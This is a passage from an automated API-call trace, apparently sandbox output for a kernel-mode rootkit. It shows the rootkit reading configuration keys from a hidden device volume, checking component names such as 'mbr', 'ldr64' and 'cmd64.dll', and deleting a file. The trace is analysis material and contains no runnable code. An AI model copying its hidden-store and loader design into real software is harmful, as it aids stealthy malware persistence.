Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.221] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.221] IdePortDispatch () returned 0x103 [0127.222] KeWaitForMutexObject () returned 0x0 [0127.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.222] IdePortDispatch () returned 0x103 [0127.222] KeWaitForMutexObject () returned 0x0 [0127.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.222] KeLeaveCriticalRegion () [0127.222] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.223] KeEnterCriticalRegion () [0127.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] KeLeaveCriticalRegion () [0127.223] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.223] KeEnterCriticalRegion () [0127.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.223] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] KeLeaveCriticalRegion () [0127.223] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.223] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.223] KeEnterCriticalRegion () [0127.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] ExFreePoolWithTag (P=0xfffffa800c4f7390, Tag=0x0) [0127.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] KeLeaveCriticalRegion () [0127.223] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.223] ReleaseMutex (hMutex=0xf0) returned 1 [0127.223] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.223] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.223] KeEnterCriticalRegion () [0127.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.224] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.224] IdePortDispatch () returned 0x103 [0127.224] KeWaitForMutexObject () returned 0x0 [0127.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.224] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.224] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.224] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.224] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.224] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc8d0 [0127.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.224] KeLeaveCriticalRegion () [0127.224] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.224] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.224] KeEnterCriticalRegion () [0127.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.224] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.224] KeLeaveCriticalRegion () [0127.224] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.224] KeEnterCriticalRegion () [0127.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.225] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.225] IdePortDispatch () returned 0x103 [0127.225] KeWaitForMutexObject () returned 0x0 [0127.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.225] KeLeaveCriticalRegion () [0127.225] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.225] KeEnterCriticalRegion () [0127.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.225] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9e000 [0127.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.225] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.225] IdePortDispatch () returned 0x103 [0127.226] KeWaitForMutexObject () returned 0x0 [0127.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.226] IdePortDispatch () returned 0x103 [0127.226] KeWaitForMutexObject () returned 0x0 [0127.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.226] KeLeaveCriticalRegion () [0127.226] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.227] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.227] KeEnterCriticalRegion () [0127.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.227] KeLeaveCriticalRegion () [0127.227] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.227] KeEnterCriticalRegion () [0127.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.227] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.227] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.227] KeLeaveCriticalRegion () [0127.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.227] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.227] KeEnterCriticalRegion () [0127.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.227] ExFreePoolWithTag (P=0xfffffa8002adc8d0, Tag=0x0) [0127.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.227] KeLeaveCriticalRegion () [0127.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.227] ReleaseMutex (hMutex=0xf0) returned 1 [0127.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.227] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.227] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.227] KeEnterCriticalRegion () [0127.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.228] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.228] IdePortDispatch () returned 0x103 [0127.228] KeWaitForMutexObject () returned 0x0 [0127.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.228] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.228] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc810 [0127.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.228] KeLeaveCriticalRegion () [0127.228] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.228] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.228] KeEnterCriticalRegion () [0127.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.228] KeLeaveCriticalRegion () [0127.228] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.228] KeEnterCriticalRegion () [0127.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.229] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.229] IdePortDispatch () returned 0x103 [0127.229] KeWaitForMutexObject () returned 0x0 [0127.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.229] KeLeaveCriticalRegion () [0127.229] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.229] KeEnterCriticalRegion () [0127.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9f000 [0127.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.229] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.229] IdePortDispatch () returned 0x103 [0127.230] KeWaitForMutexObject () returned 0x0 [0127.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.230] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.230] IdePortDispatch () returned 0x103 [0127.230] KeWaitForMutexObject () returned 0x0 [0127.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.230] KeLeaveCriticalRegion () [0127.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.231] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.231] KeEnterCriticalRegion () [0127.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] KeLeaveCriticalRegion () [0127.231] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.231] KeEnterCriticalRegion () [0127.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.231] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] KeLeaveCriticalRegion () [0127.231] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.231] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.231] KeEnterCriticalRegion () [0127.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] ExFreePoolWithTag (P=0xfffffa8002adc810, Tag=0x0) [0127.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] KeLeaveCriticalRegion () [0127.231] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.231] ReleaseMutex (hMutex=0xf0) returned 1 [0127.231] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.231] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.231] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.231] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.231] KeEnterCriticalRegion () [0127.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.231] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.231] IdePortDispatch () returned 0x103 [0127.231] KeWaitForMutexObject () returned 0x0 [0127.232] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.232] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.232] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.232] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.232] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.232] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.232] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.232] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.232] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.232] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.232] KeLeaveCriticalRegion () [0127.232] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.232] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.232] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.232] KeEnterCriticalRegion () [0127.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.232] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.232] IdePortDispatch () returned 0x103 [0127.232] KeWaitForMutexObject () returned 0x0 [0127.232] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.232] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.232] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.232] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.232] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.232] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.232] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.232] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.232] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.232] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.232] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.233] KeLeaveCriticalRegion () [0127.233] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.233] ReleaseMutex (hMutex=0x100) returned 1 [0127.233] Sleep (dwMilliseconds=0x2bf20) [0127.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f0ac7b0, dwHighDateTime=0x1d24fa4)) [0127.245] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.246] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.246] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.246] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.246] KeEnterCriticalRegion () [0127.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.246] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.246] IdePortDispatch () returned 0x103 [0127.246] KeWaitForMutexObject () returned 0x0 [0127.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.246] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.246] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.246] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") 